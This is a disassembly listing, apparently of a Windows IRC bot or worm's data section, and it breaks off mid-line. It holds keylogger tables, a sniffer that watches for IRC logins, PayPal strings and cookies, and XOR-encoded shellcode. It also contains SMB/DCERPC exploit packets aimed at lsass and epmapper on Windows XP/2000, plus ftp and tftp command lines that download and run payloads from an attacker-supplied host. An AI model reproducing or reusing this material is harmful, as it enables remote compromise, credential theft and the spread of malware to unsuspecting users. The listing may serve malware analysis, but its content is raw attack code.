0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_425BBC dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_402394+2AAo dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_425BF4 dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022B5+ACo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022B5+86o align 10h aAb db 'ab',0 ; DATA XREF: sub_4022B5+4Eo ; sub_40EC43+2AAAo align 4 asc_425C34: ; DATA XREF: sub_4022B5+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_402394+21Co align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_402394+1D9o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_402394+8Fo align 10h off_425C80 dd offset dword_4264F8 ; DATA XREF: sub_402669+29Er dd offset off_4264F4 dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dword_425C90 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402669+1DEo dword_425CA4 dd 0 ; DATA XREF: sub_402669+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: .data:00425C8Co align 10h aFtp db 'FTP',0 ; DATA XREF: .data:00425C88o off_4264F4 dd offset aLedThreadS_ ; DATA XREF: .data:00425C84o ; "led thread: %s." dword_4264F8 dd 544F42h, 0 ; DATA XREF: .data:off_425C80o unk_426500 db 2 ; DATA XREF: sub_402669+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 8 unk_426548 db 2 ; DATA XREF: sub_402669+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402669+236o align 4 unk_426598 db 2 ; DATA XREF: sub_402669+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4265E0 db 2 ; DATA XREF: sub_402669+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 8 unk_426628 db 2 ; DATA XREF: sub_402669+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_0 db 'Error: socket() failed, returned: <%d>.',0 align 10h dword_426670 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DB1+DEo ; sub_402DB1+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_4266C0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B61+120o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_426A24 dd 20h, 0 ; DATA XREF: sub_402B61+133o dd 20h, 5C005Ch, 0 off_426A38 dd offset off_43005C ; DATA XREF: sub_402B61+15Ao a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 8 dword_426A78 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B61+171o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B61+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_426B88 dd 18759Fh ; DATA XREF: sub_402B61+101o dword_426B8C dd 100139Dh ; DATA XREF: sub_402B61+F8o asc_426B90: ; DATA XREF: sub_4029C8+1Co ; sub_402AAB+16o unicode 0, <\\>,0 align 4 off_426B98 dd offset dword_49005C ; DATA XREF: sub_4029C8+Co ; sub_402AAB+Bo dd offset off_430050 dd 24h unk_426BA4 db 2 ; DATA XREF: sub_402DB1+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DB1+41o align 10h jmp short loc_426C02 ; =============== S U B R O U T I N E ======================================= sub_426BF2 proc far ; CODE XREF: sub_426BF2:loc_426C02p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_426BFA: ; CODE XREF: sub_426BF2+Cj xor byte ptr [ebx+ecx], 99h loop loc_426BFA jmp short loc_426C07 ; --------------------------------------------------------------------------- loc_426C02: ; CODE XREF: .data:00426BF0j call near ptr sub_426BF2 loc_426C07: ; CODE XREF: sub_426BF2+Ej jo short loc_426C6B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_426C89 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_426C6B: ; CODE XREF: sub_426BF2:loc_426C07j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_426C89: ; CODE XREF: sub_426BF2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_426BF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_426D30: ; DATA XREF: sub_40321F+157o ; sub_40321F+214o jmp short loc_426D42 ; =============== S U B R O U T I N E ======================================= sub_426D32 proc near ; CODE XREF: sub_426D32:loc_426D42p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_426D3A: ; CODE XREF: sub_426D32+Cj xor byte ptr [edx+ecx], 99h loop loc_426D3A jmp short loc_426D47 ; --------------------------------------------------------------------------- loc_426D42: ; CODE XREF: .data:loc_426D30j call sub_426D32 loc_426D47: ; CODE XREF: sub_426D32+Ej jo short near ptr dword_426CC0+1Eh cwde cdq cdq retn sub_426D32 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_426DE0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40321F+106o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_426EC8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .data:004036E5o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_426F58 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .data:00403711o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_427008 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .data:00403738o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4270E8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40321F+59o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40321F+8Bo unicode 0, <C$>,0 a????? db '?????',0 align 10h dword_427150 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40321F+2ACo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_4271C0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40321F+2D3o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_427268 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40321F+3B2o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4272E8 dd offset loc_401493+2 ; DATA XREF: sub_40321F+3E0o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_427380 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40321F+308o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_4273F0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40321F+333o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_427468 dd 0 ; DATA XREF: sub_40321F+361o dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_427528 dd 1004600h ; DATA XREF: sub_40321F+141r ; sub_40321F+247r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_4275E0 dd 0A0D7325h, 0 ; DATA XREF: sub_4030BE+102o ; sub_404FF8+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030BE+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030BE+97o ; --------------------------------------------------------------------------- loc_427668: ; DATA XREF: sub_40321F+178o jmp short loc_427670 ; --------------------------------------------------------------------------- jmp short loc_427672 ; --------------------------------------------------------------------------- align 10h loc_427670: ; CODE XREF: .data:loc_427668j ; DATA XREF: sub_40321F+27o ... pop esp pop esp loc_427672: ; CODE XREF: .data:0042766Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_42767C dd 1CEC8166h ; DATA XREF: sub_40321F+Dr dword_427680 dd 0E4FF07h ; DATA XREF: sub_40321F+16r align 8 byte_427688 db 90h ; DATA XREF: sub_403A59+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_427694 dd 10FF8h, 0 ; DATA XREF: sub_403A59+6Ao dword_42769C dd 10FF8h ; DATA XREF: sub_403A59+79o dword_4276A0 dd 7FFDF020h, 0 ; DATA XREF: sub_403A59+162o dword_4276A8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403E73+78o dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427730 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403E73+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_427760 dd 0 ; DATA 